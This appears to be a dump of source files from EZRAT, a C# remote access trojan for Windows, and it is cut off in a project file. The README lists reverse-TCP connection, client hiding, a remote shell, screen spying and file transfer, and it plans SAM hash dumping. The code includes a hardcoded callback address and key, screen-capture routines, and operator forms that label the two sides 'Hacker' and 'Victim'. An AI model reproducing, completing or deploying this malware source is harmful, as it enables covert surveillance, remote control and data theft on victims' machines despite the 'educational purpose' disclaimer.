[assembly: Guid("2a079f4e-4dcc-44db-8ca1-0cf2c6a5f41d")] 24 | 25 | // Les informations de version pour un assembly se composent des quatre valeurs suivantes : 26 | // 27 | // Version principale 28 | // Version secondaire 29 | // Numéro de build 30 | // Révision 31 | // 32 | // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut 33 | // en utilisant '*', comme indiqué ci-dessous : 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("0.1.6.1")] 36 | [assembly: AssemblyFileVersion("0.1.6.1")] 37 | -------------------------------------------------------------------------------- /EZRATServer/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // Les informations générales relatives à un assembly dépendent de 6 | // l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations 7 | // associées à un assembly. 8 | [assembly: AssemblyTitle("EZRATServer")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("EZRATServer")] 13 | [assembly: AssemblyCopyright("Copyright © 2019")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly 18 | // aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de 19 | // COM, affectez la valeur true à l'attribut ComVisible sur ce type. 20 | [assembly: ComVisible(false)] 21 | 22 | // Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM 23 | [assembly: Guid("de5ba971-0c24-456f-a747-9178f0dd6aa4")] 24 | 25 | // Les informations de version pour un assembly se composent des quatre valeurs suivantes : 26 | // 27 | // Version principale 28 | // Version secondaire 29 | // Numéro de build 30 | // Révision 31 | // 32 | // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut 33 | // en utilisant '*', comme indiqué ci-dessous : 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("0.1.6.1")] 36 | [assembly: AssemblyFileVersion("0.1.6.1")] 37 | -------------------------------------------------------------------------------- /EZRATClient/Utils/Constantes.cs: -------------------------------------------------------------------------------- 1 | using System.Drawing; 2 | using System.Threading; 3 | 4 | namespace EZRATClient.Utils 5 | { 6 | public static class Constantes 7 | { 8 | private const int _SW_HIDE = 0; 9 | private const int _SW_SHOW = 5; 10 | 11 | 12 | private static string _ip = "192.168.1.112"; 13 | private static int _port = 1234; 14 | private static int _screenShotSpeed = 100; 15 | private static string _version = "0.1.6.1"; 16 | private static string _encryptKey = "POULPE212123542345235"; 17 | private static Size _defaultCompressionSize = new Size(1280, 720); 18 | private static string _separator = "|"; 19 | private static string _special_Separator = "¦"; 20 | private static Thread _spy; 21 | 22 | public static string Separator { get => _separator; } 23 | public static char SeparatorChar { get => _separator.ToCharArray()[0]; } 24 | public static string Special_Separator { get => _special_Separator; } 25 | public static char Special_SeparatorChar { get => _special_Separator.ToCharArray()[0]; } 26 | 27 | public static string Ip { get => _ip; set => _ip = value; } 28 | public static int Port { get => _port; set => _port = value; } 29 | public static string Version { get => _version; } 30 | public static int SW_HIDE => _SW_HIDE; 31 | public static int SW_SHOW => _SW_SHOW; 32 | public static string EncryptKey { get => _encryptKey; } 33 | public static Thread Spy { get => _spy; set => _spy = value; } 34 | public static int ScreenShotSpeed { get => _screenShotSpeed; set => _screenShotSpeed = value; } 35 | public static Size DefaultCompressionSize { get => _defaultCompressionSize; set => _defaultCompressionSize = value; } 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /EZRATServer/Forms/ProcessViewer.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Data; 5 | using System.Drawing; 6 | using System.Linq; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | using System.Windows.Forms; 10 | 11 | namespace EZRATServer.Forms 12 | { 13 | public partial class ProcessViewer : Form 14 | { 15 | 16 | private Server _baseWindows; 17 | 18 | public Server BaseWindows 19 | { 20 | get { return _baseWindows; } 21 | set { _baseWindows = value; } 22 | } 23 | 24 | private int _id; 25 | 26 | public int Id 27 | { 28 | get { return _id; } 29 | set { _id = value; } 30 | } 31 | 32 | const string STATUS_TEXT = "Number of process : "; 33 | public ProcessViewer(Server parent,int id) 34 | { 35 | this.BaseWindows = parent; 36 | this.Id = id; 37 | InitializeComponent(); 38 | 39 | } 40 | 41 | 42 | public void UpdateData(string[] data) 43 | { 44 | for (int i = 0; i < data.Length - 1; i++) 45 | { 46 | string pid = data[i].Substring(data[i].LastIndexOf('¦') + 1); 47 | string name = data[i].Substring(0,data[i].LastIndexOf('¦')); 48 | this.lstProcess.Invoke(new MethodInvoker(() => { this.lstProcess.Items.Add(new ListViewItem(new string[] { name, pid })); })); 49 | } 50 | this.lblStatus.Text = STATUS_TEXT + data.Length; 51 | this.lstProcess.Invoke(new MethodInvoker(() => this.lstProcess.AutoResizeColumns(ColumnHeaderAutoResizeStyle.ColumnContent))); 52 | 53 | this.lstProcess.Invoke(new MethodInvoker(() => this.lstProcess.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize))); 54 | } 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /EZRATServer/Forms/ScreenShotViewer.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Drawing; 4 | using System.Threading; 5 | using System.Windows.Forms; 6 | using EZRATServer.Utils; 7 | 8 | namespace EZRATServer.Forms 9 | { 10 | public partial class ScreenShotViewer : Form 11 | { 12 | private Image _img; 13 | private Stopwatch sw = new Stopwatch(); 14 | private bool _isUpdate = true; 15 | private uint _count = 0; 16 | private Server _parent; 17 | public Image Img 18 | { 19 | get => _img; 20 | 21 | set 22 | { 23 | try 24 | { 25 | this._img = value; 26 | this.pib.Invoke(new MethodInvoker(() => { this.pib.Image = Img; this.pib.Update(); })); 27 | _count += 1; 28 | this.StatusUpdate(); 29 | } 30 | catch (Exception _) 31 | { 32 | // Windows close 33 | } 34 | } 35 | } 36 | 37 | 38 | public ScreenShotViewer(Image img, Server parent) 39 | { 40 | InitializeComponent(); 41 | this._parent = parent; 42 | sw.Start(); 43 | this.pib.Image = img; 44 | this.FormClosing += (_, __) => { this._parent.SendCommand("stopscreenspy;", this._parent.GetIdClient());this._parent.OnOffscreenSpy = false; }; 45 | } 46 | 47 | private void StatusUpdate() 48 | { 49 | if (sw.ElapsedMilliseconds >= 1000) 50 | { 51 | sw.Restart(); 52 | this.lblStatus.Text = $"FPS : {_count}"; 53 | _count = 0; 54 | } 55 | } 56 | 57 | public void UpdatePib(Image img) 58 | { 59 | Thread T = new Thread(() => 60 | { 61 | this.pib.Invoke(new MethodInvoker(() => { this.pib.Image = this.Img; })); 62 | this.pib.Update(); 63 | }); 64 | T.Start(); 65 | T.Join(); 66 | } 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /EZRATClient/Utils/Screen.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Drawing; 4 | using System.Drawing.Drawing2D; 5 | using System.Linq; 6 | using System.Text; 7 | using System.Windows.Forms; 8 | 9 | namespace EZRATClient.Utils 10 | { 11 | class ScreenUtils 12 | { 13 | 14 | public static Image ScreenShot() 15 | { 16 | Rectangle bounds = Screen.GetBounds(Point.Empty); 17 | Image result = new Bitmap(bounds.Width,bounds.Height); 18 | 19 | using (Graphics g = Graphics.FromImage(result)) 20 | { 21 | g.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); 22 | } 23 | 24 | return resizeImage(result,Constantes.DefaultCompressionSize); 25 | } 26 | 27 | 28 | public static Image resizeImage(Image imgToResize, Size size) 29 | { 30 | int sourceWidth = imgToResize.Width; 31 | int sourceHeight = imgToResize.Height; 32 | 33 | float nPercent = 0; 34 | float nPercentW = 0; 35 | float nPercentH = 0; 36 | 37 | nPercentW = ((float)size.Width / (float)sourceWidth); 38 | nPercentH = ((float)size.Height / (float)sourceHeight); 39 | 40 | if (nPercentH < nPercentW) 41 | nPercent = nPercentH; 42 | else 43 | nPercent = nPercentW; 44 | 45 | int destWidth = (int)(sourceWidth * nPercent); 46 | int destHeight = (int)(sourceHeight * nPercent); 47 | 48 | Bitmap b = new Bitmap(destWidth, destHeight, System.Drawing.Imaging.PixelFormat.Format24bppRgb); 49 | b.SetResolution(300, 300); 50 | Graphics g = Graphics.FromImage((Image)b); 51 | g.InterpolationMode = InterpolationMode.HighQualityBicubic; 52 | g.CompositingQuality = CompositingQuality.HighSpeed; 53 | g.SmoothingMode = SmoothingMode.HighSpeed; 54 | 55 | g.DrawImage(imgToResize, 0, 0, destWidth, destHeight); 56 | g.Dispose(); 57 | 58 | return (Image)b; 59 | 60 | } 61 | 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /EZRAT.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29324.140 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EZRATClient", "EZRATClient\EZRATClient.csproj", "{2A079F4E-4DCC-44DB-8CA1-0CF2C6A5F41D}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EZRATServer", "EZRATServer\EZRATServer.csproj", "{DE5BA971-0C24-456F-A747-9178F0DD6AA4}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|Any CPU = Debug|Any CPU 13 | Debug|x86 = Debug|x86 14 | Release|Any CPU = Release|Any CPU 15 | Release|x86 = Release|x86 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {2A079F4E-4DCC-44DB-8CA1-0CF2C6A5F41D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 19 | {2A079F4E-4DCC-44DB-8CA1-0CF2C6A5F41D}.Debug|Any CPU.Build.0 = Debug|Any CPU 20 | {2A079F4E-4DCC-44DB-8CA1-0CF2C6A5F41D}.Debug|x86.ActiveCfg = Debug|x86 21 | {2A079F4E-4DCC-44DB-8CA1-0CF2C6A5F41D}.Debug|x86.Build.0 = Debug|x86 22 | {2A079F4E-4DCC-44DB-8CA1-0CF2C6A5F41D}.Release|Any CPU.ActiveCfg = Release|Any CPU 23 | {2A079F4E-4DCC-44DB-8CA1-0CF2C6A5F41D}.Release|Any CPU.Build.0 = Release|Any CPU 24 | {2A079F4E-4DCC-44DB-8CA1-0CF2C6A5F41D}.Release|x86.ActiveCfg = Release|x86 25 | {2A079F4E-4DCC-44DB-8CA1-0CF2C6A5F41D}.Release|x86.Build.0 = Release|x86 26 | {DE5BA971-0C24-456F-A747-9178F0DD6AA4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 27 | {DE5BA971-0C24-456F-A747-9178F0DD6AA4}.Debug|Any CPU.Build.0 = Debug|Any CPU 28 | {DE5BA971-0C24-456F-A747-9178F0DD6AA4}.Debug|x86.ActiveCfg = Debug|x86 29 | {DE5BA971-0C24-456F-A747-9178F0DD6AA4}.Debug|x86.Build.0 = Debug|x86 30 | {DE5BA971-0C24-456F-A747-9178F0DD6AA4}.Release|Any CPU.ActiveCfg = Release|Any CPU 31 | {DE5BA971-0C24-456F-A747-9178F0DD6AA4}.Release|Any CPU.Build.0 = Release|Any CPU 32 | {DE5BA971-0C24-456F-A747-9178F0DD6AA4}.Release|x86.ActiveCfg = Release|x86 33 | {DE5BA971-0C24-456F-A747-9178F0DD6AA4}.Release|x86.Build.0 = Release|x86 34 | EndGlobalSection 35 | GlobalSection(SolutionProperties) = preSolution 36 | HideSolutionNode = FALSE 37 | EndGlobalSection 38 | GlobalSection(ExtensibilityGlobals) = postSolution 39 | SolutionGuid = {BA605CD2-83BE-4BB7-B5F5-899A4AA2FB58} 40 | EndGlobalSection 41 | EndGlobal 42 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # EZRAT 2 | 3 | Is a simple R.A.T client server for Windows 4 | 5 | [![Arch](https://img.shields.io/badge/-Arch%20:%20x86-red?&style=flat-square)](https://google.com) 6 | [![RAT](https://img.shields.io/badge/-RAT-black?&style=flat-square)](https://google.com) 7 | [![.NET](https://img.shields.io/badge/-.NET%204.0-purple?&style=flat-square)](https://google.com) 8 | [![Version](https://img.shields.io/badge/-v0.1.6-blue?style=flat-square)](https://google.com) 9 | [![Encryption](https://img.shields.io/badge/-AES-gray?&style=flat-square)](https://google.com) 10 | [![C#](https://img.shields.io/badge/-C%23-green?&style=flat-square)](https://google.com) 11 | 12 | 13 | 14 | This tool is for educational purpose only, usage of EZRAT for attacking targets without prior mutual consent is illegal. Developers assume no liability and are not responsible for any misuse or damage cause by this program. 15 | 16 | ## RAT 17 | 18 | ![Banner](https://user-images.githubusercontent.com/33369156/74089566-aadd2b00-4aa2-11ea-8dee-b56b5eecaaaa.png) 19 | 20 | 21 | ## Installation : 22 | For install client and server you must download source and compile then. Project build with Visual Studio 2019. 23 | 24 | Release v0.1.6.1 is full of bugs but it work some times ;P 25 | 26 | ## Requirement : 27 | You need : 28 | 29 | * Visual Studio 2019 (with msbuild) 30 | * Framework >= 4.0 31 | * Use the csproj for generate the client 32 | 33 | ## Features : 34 | - [x] Client Reverse TCP 35 | - [x] Client Hiding 36 | - [x] MultiClient 37 | - [x] Get informations from client 38 | - [x] PerrToPeer connection 39 | - [x] File browsing client 40 | - [x] Disconnect server correctly 41 | - [x] Download file 42 | - [x] Process viewer 43 | - [x] ScreenShot 44 | - [x] ScreenSpy with FPS counter (~ average 2-3 FPS) 45 | - [x] File viewer with size of file 46 | - [x] System info in details 47 | - [x] Shell 48 | - [x] Windows control (Lock,Restart,Shutdown) 49 | - [x] Message box editor 50 | - [x] Upload file 51 | - [x] Sound play (only wav files) 52 | - [x] Client builder (with msbuild) 53 | 54 | ## Futur Features : 55 | - [ ] Startup 56 | - [ ] Kill process 57 | - [ ] Open CD tray 58 | - [ ] Change Wallpaper 59 | - [ ] Camera stream 60 | - [ ] Disable keyboard & mouse 61 | - [ ] Remote desktop 62 | - [ ] Hash dump, dump SAM database 63 | 64 | 65 | ## ScreenShot : 66 | ![Server_1ClientDemo](https://user-images.githubusercontent.com/33369156/73479792-ebe58900-4398-11ea-89e0-2629d948794e.png) 67 | 68 | Server program with 1 client connected 69 | 70 | 71 | ## Author : 72 | @Exo-poulpe 73 | 74 | This software come whitout any guarantee 75 | 76 | -------------------------------------------------------------------------------- /EZRATServer/Forms/ShellCommand.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Data; 5 | using System.Drawing; 6 | using System.Linq; 7 | using System.Text; 8 | using System.Windows.Forms; 9 | 10 | namespace EZRATServer.Forms 11 | { 12 | public partial class ShellCommand : Form 13 | { 14 | 15 | private Server _baseWindows; 16 | 17 | public Server BaseWindows 18 | { 19 | get { return _baseWindows; } 20 | set { _baseWindows = value; } 21 | } 22 | 23 | private string _path; 24 | 25 | public string Path 26 | { 27 | get { return _path; } 28 | set { _path = value; } 29 | } 30 | 31 | private int _id; 32 | 33 | public int Id 34 | { 35 | get { return _id; } 36 | set { _id = value; } 37 | } 38 | 39 | 40 | 41 | public ShellCommand(Server parent, string path, int id) 42 | { 43 | this.BaseWindows = parent; 44 | this.Path = path; 45 | InitializeComponent(); 46 | this.AddHeaderLine(path); 47 | this.tbxMessage.KeyDown += SendCmbCommand; 48 | } 49 | 50 | 51 | 52 | private void SendCmbCommand(object sender, KeyEventArgs e) 53 | { 54 | if (e.KeyCode == Keys.Enter) 55 | { 56 | this.AddCommandLine(this.tbxMessage.Text); 57 | } 58 | } 59 | 60 | 61 | 62 | private void AddHeaderLine(string path) 63 | { 64 | this.rtbText.Text += $"{path} > "; 65 | } 66 | 67 | private void AddCommandLine(string command) 68 | { 69 | if (command.StartsWith("cd ")) 70 | { 71 | string tmp = command.Substring(3); 72 | if (tmp == "..") 73 | { 74 | this.Path = this.Path.Substring(0, this.Path.LastIndexOf('\\') - 1); 75 | } 76 | else 77 | { 78 | this.Path += tmp; 79 | } 80 | } 81 | this.BaseWindows.SendCommand("cmd;" + this.Path + ";" + command, this.Id); 82 | this.rtbText.Text += command + Environment.NewLine; 83 | this.tbxMessage.Clear(); 84 | this.tbxMessage.Focus(); 85 | } 86 | 87 | public void AddResultLine(string result) 88 | { 89 | this.tbxMessage.Invoke(new MethodInvoker(() => 90 | { 91 | this.rtbText.Text += result + Environment.NewLine; this.AddHeaderLine(this.Path); 92 | this.rtbText.SelectionStart = this.rtbText.Text.Length; 93 | this.rtbText.ScrollToCaret(); 94 | })); 95 | } 96 | } 97 | } 98 | -------------------------------------------------------------------------------- /EZRATServer/Forms/SystemDetails.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace EZRATServer.Forms 2 | { 3 | partial class SystemDetails 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(SystemDetails)); 32 | this.lstInfos = new System.Windows.Forms.ListBox(); 33 | this.SuspendLayout(); 34 | // 35 | // lstInfos 36 | // 37 | this.lstInfos.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) 38 | | System.Windows.Forms.AnchorStyles.Left) 39 | | System.Windows.Forms.AnchorStyles.Right))); 40 | this.lstInfos.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); 41 | this.lstInfos.FormattingEnabled = true; 42 | this.lstInfos.ItemHeight = 20; 43 | this.lstInfos.Location = new System.Drawing.Point(-2, 2); 44 | this.lstInfos.Name = "lstInfos"; 45 | this.lstInfos.Size = new System.Drawing.Size(385, 224); 46 | this.lstInfos.TabIndex = 0; 47 | // 48 | // SystemDetails 49 | // 50 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 51 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 52 | this.ClientSize = new System.Drawing.Size(381, 225); 53 | this.Controls.Add(this.lstInfos); 54 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); 55 | this.MaximizeBox = false; 56 | this.Name = "SystemDetails"; 57 | this.Text = "SystemDetails"; 58 | this.ResumeLayout(false); 59 | 60 | } 61 | 62 | #endregion 63 | 64 | private System.Windows.Forms.ListBox lstInfos; 65 | } 66 | } -------------------------------------------------------------------------------- /EZRATClient/Forms/Chat.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Data; 5 | using System.Drawing; 6 | using System.Linq; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | using System.Windows.Forms; 10 | 11 | namespace EZRATClient.Forms 12 | { 13 | public partial class Chat : Form 14 | { 15 | 16 | private List _texted = new List(); 17 | 18 | public List Texted 19 | { 20 | get { return _texted; } 21 | set { _texted = value; } 22 | } 23 | 24 | private string _serverName; 25 | 26 | public string ServerName 27 | { 28 | get { return _serverName + " : "; } 29 | set { _serverName = value; } 30 | } 31 | 32 | private string _victimName; 33 | 34 | public string VictimName 35 | { 36 | get { return _victimName + " : "; } 37 | set { _victimName = value; } 38 | } 39 | 40 | 41 | 42 | 43 | 44 | public Chat(string message = "") 45 | { 46 | InitializeComponent(); 47 | this.btnSend.Click += SendMessage; 48 | this.FormClosing += CancelClosed; 49 | this.Text = "Chat"; 50 | this.ServerName = "Hacker"; 51 | this.VictimName = "Victim"; 52 | if (message != "") 53 | { 54 | this.Texted.Add(this.ServerName + message); 55 | this.rtbMsg.Text += this.ServerName + message + Environment.NewLine; 56 | } 57 | } 58 | 59 | private void CancelClosed(object sender,FormClosingEventArgs e) 60 | { 61 | e.Cancel = true; 62 | } 63 | 64 | private void SendMessage(object sender,EventArgs e) 65 | { 66 | string msg = string.Empty; 67 | this.tbxMsg.Invoke(new MethodInvoker(() => msg = this.tbxMsg.Text)); 68 | this.tbxMsg.Invoke(new MethodInvoker(() => this.tbxMsg.Text = string.Empty)); 69 | this.Texted.Add(this.VictimName + msg); 70 | Program.SendCommand("chat;" + msg); 71 | AddMessage(msg,1); 72 | 73 | } 74 | 75 | 76 | public void NewMessage(string message) 77 | { 78 | if (message == "") return; 79 | this.Texted.Add(this.ServerName + message); 80 | AddMessage(message, 0); 81 | } 82 | 83 | 84 | private void AddMessage(string message,int user) 85 | { 86 | if (this.rtbMsg.InvokeRequired) 87 | { 88 | this.rtbMsg.Invoke(new MethodInvoker(() => this.rtbMsg.Text += ((user == 0) ? this.ServerName : this.VictimName) + message + Environment.NewLine)); 89 | } 90 | else 91 | { 92 | this.rtbMsg.Text += ((user == 0) ? this.ServerName : this.VictimName) + message + Environment.NewLine; 93 | } 94 | } 95 | } 96 | } 97 | -------------------------------------------------------------------------------- /EZRATServer/Utils/ImageContextMenu.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Drawing; 4 | using System.Linq; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | using System.Windows.Forms; 8 | 9 | namespace EZRATServer.Utils 10 | { 11 | class ImageContextMenu : ContextMenuStrip 12 | { 13 | public ImageContextMenu() 14 | { 15 | ToolStripMenuItem menuFileBrowser = new ToolStripMenuItem("File Browser",new Bitmap(Properties.Resources.folder_64)); 16 | ToolStripMenuItem menuChat = new ToolStripMenuItem("Chat",new Bitmap(Properties.Resources.chat_64)); 17 | ToolStripMenuItem menuProcess = new ToolStripMenuItem("Process Viewer",new Bitmap(Properties.Resources.process_64)); 18 | ToolStripMenuItem menuScreenShot = new ToolStripMenuItem("ScreenShot",new Bitmap(Properties.Resources.screenShot_100)); 19 | ToolStripMenuItem menuMessageBox = new ToolStripMenuItem("MessageBox",new Bitmap(Properties.Resources.Form_64)); 20 | ToolStripMenuItem menuScreenSPy = new ToolStripMenuItem("ScreenSpy",new Bitmap(Properties.Resources.screenshot_64)); 21 | ToolStripMenuItem menuSysInfo = new ToolStripMenuItem("System Info",new Bitmap(Properties.Resources.computer_settings_64)); 22 | ToolStripMenuItem menuSound = new ToolStripMenuItem("Play Sound",new Bitmap(Properties.Resources.sound)); 23 | ToolStripMenuItem menuShell = new ToolStripMenuItem("Shell",new Bitmap(Properties.Resources.shell_48)); 24 | ToolStripMenuItem menuClient = new ToolStripMenuItem("ClientControl",new Bitmap(Properties.Resources.clientControl_64)); 25 | menuClient.DropDownItems.Add(new ToolStripMenuItem("Close",Properties.Resources.close_64)); 26 | ToolStripMenuItem menuExecute = new ToolStripMenuItem("Execute", new Bitmap(Properties.Resources.UAC)); 27 | menuExecute.DropDownItems.Add(new ToolStripMenuItem("Lock",Properties.Resources.locked)); 28 | menuExecute.DropDownItems.Add(new ToolStripMenuItem("Restart",Properties.Resources.restart)); 29 | menuExecute.DropDownItems.Add(new ToolStripMenuItem("Shutdown",Properties.Resources.shutdown)); 30 | //ToolStripMenuItem menuMonitoring = new ToolStripMenuItem("ScreenShot",new Bitmap(Properties.Resources.monitor_64)); 31 | this.CreateControl(); 32 | this.Items.Add(menuFileBrowser); 33 | this.Items.Add(menuChat); 34 | this.Items.Add(menuProcess); 35 | this.Items.Add(menuScreenShot); 36 | this.Items.Add(menuScreenSPy); 37 | this.Items.Add(menuMessageBox); 38 | this.Items.Add(menuSysInfo); 39 | this.Items.Add(menuSound); 40 | this.Items.Add(menuShell); 41 | this.Items.Add(menuClient); 42 | this.Items.Add(menuExecute); 43 | //this.Items.Add(menuMonitoring); 44 | } 45 | 46 | private void InitializeComponent() 47 | { 48 | this.SuspendLayout(); 49 | 50 | } 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // Ce code a été généré par un outil. 4 | // Version du runtime :4.0.30319.42000 5 | // 6 | // Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si 7 | // le code est régénéré. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace EZRAT.Properties 12 | { 13 | 14 | 15 | /// 16 | /// Une classe de ressource fortement typée destinée, entre autres, à la consultation des chaînes localisées. 17 | /// 18 | // Cette classe a été générée automatiquement par la classe StronglyTypedResourceBuilder 19 | // à l'aide d'un outil, tel que ResGen ou Visual Studio. 20 | // Pour ajouter ou supprimer un membre, modifiez votre fichier .ResX, puis réexécutez ResGen 21 | // avec l'option /str ou régénérez votre projet VS. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources 26 | { 27 | 28 | private static global::System.Resources.ResourceManager resourceMan; 29 | 30 | private static global::System.Globalization.CultureInfo resourceCulture; 31 | 32 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 33 | internal Resources() 34 | { 35 | } 36 | 37 | /// 38 | /// Retourne l'instance ResourceManager mise en cache utilisée par cette classe. 39 | /// 40 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 41 | internal static global::System.Resources.ResourceManager ResourceManager 42 | { 43 | get 44 | { 45 | if ((resourceMan == null)) 46 | { 47 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("EZRAT.Properties.Resources", typeof(Resources).Assembly); 48 | resourceMan = temp; 49 | } 50 | return resourceMan; 51 | } 52 | } 53 | 54 | /// 55 | /// Remplace la propriété CurrentUICulture du thread actuel pour toutes 56 | /// les recherches de ressources à l'aide de cette classe de ressource fortement typée. 57 | /// 58 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 59 | internal static global::System.Globalization.CultureInfo Culture 60 | { 61 | get 62 | { 63 | return resourceCulture; 64 | } 65 | set 66 | { 67 | resourceCulture = value; 68 | } 69 | } 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /EZRATServer/Forms/NameUpload.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace EZRATServer.Forms 2 | { 3 | partial class NameUpload 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.lblName = new System.Windows.Forms.Label(); 32 | this.tbxName = new System.Windows.Forms.TextBox(); 33 | this.btnOk = new System.Windows.Forms.Button(); 34 | this.SuspendLayout(); 35 | // 36 | // lblName 37 | // 38 | this.lblName.AutoSize = true; 39 | this.lblName.Location = new System.Drawing.Point(12, 18); 40 | this.lblName.Name = "lblName"; 41 | this.lblName.Size = new System.Drawing.Size(44, 13); 42 | this.lblName.TabIndex = 0; 43 | this.lblName.Text = "Name :"; 44 | // 45 | // tbxName 46 | // 47 | this.tbxName.Location = new System.Drawing.Point(50, 34); 48 | this.tbxName.Name = "tbxName"; 49 | this.tbxName.Size = new System.Drawing.Size(159, 20); 50 | this.tbxName.TabIndex = 1; 51 | // 52 | // btnOk 53 | // 54 | this.btnOk.Location = new System.Drawing.Point(81, 58); 55 | this.btnOk.Name = "btnOk"; 56 | this.btnOk.Size = new System.Drawing.Size(75, 23); 57 | this.btnOk.TabIndex = 2; 58 | this.btnOk.Text = "OK"; 59 | this.btnOk.UseVisualStyleBackColor = true; 60 | // 61 | // NameUpload 62 | // 63 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 64 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 65 | this.ClientSize = new System.Drawing.Size(231, 93); 66 | this.Controls.Add(this.btnOk); 67 | this.Controls.Add(this.tbxName); 68 | this.Controls.Add(this.lblName); 69 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; 70 | this.Name = "NameUpload"; 71 | this.Text = "NameUpload"; 72 | this.ResumeLayout(false); 73 | this.PerformLayout(); 74 | 75 | } 76 | 77 | #endregion 78 | 79 | private System.Windows.Forms.Label lblName; 80 | private System.Windows.Forms.TextBox tbxName; 81 | private System.Windows.Forms.Button btnOk; 82 | } 83 | } -------------------------------------------------------------------------------- /EZRAT.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | 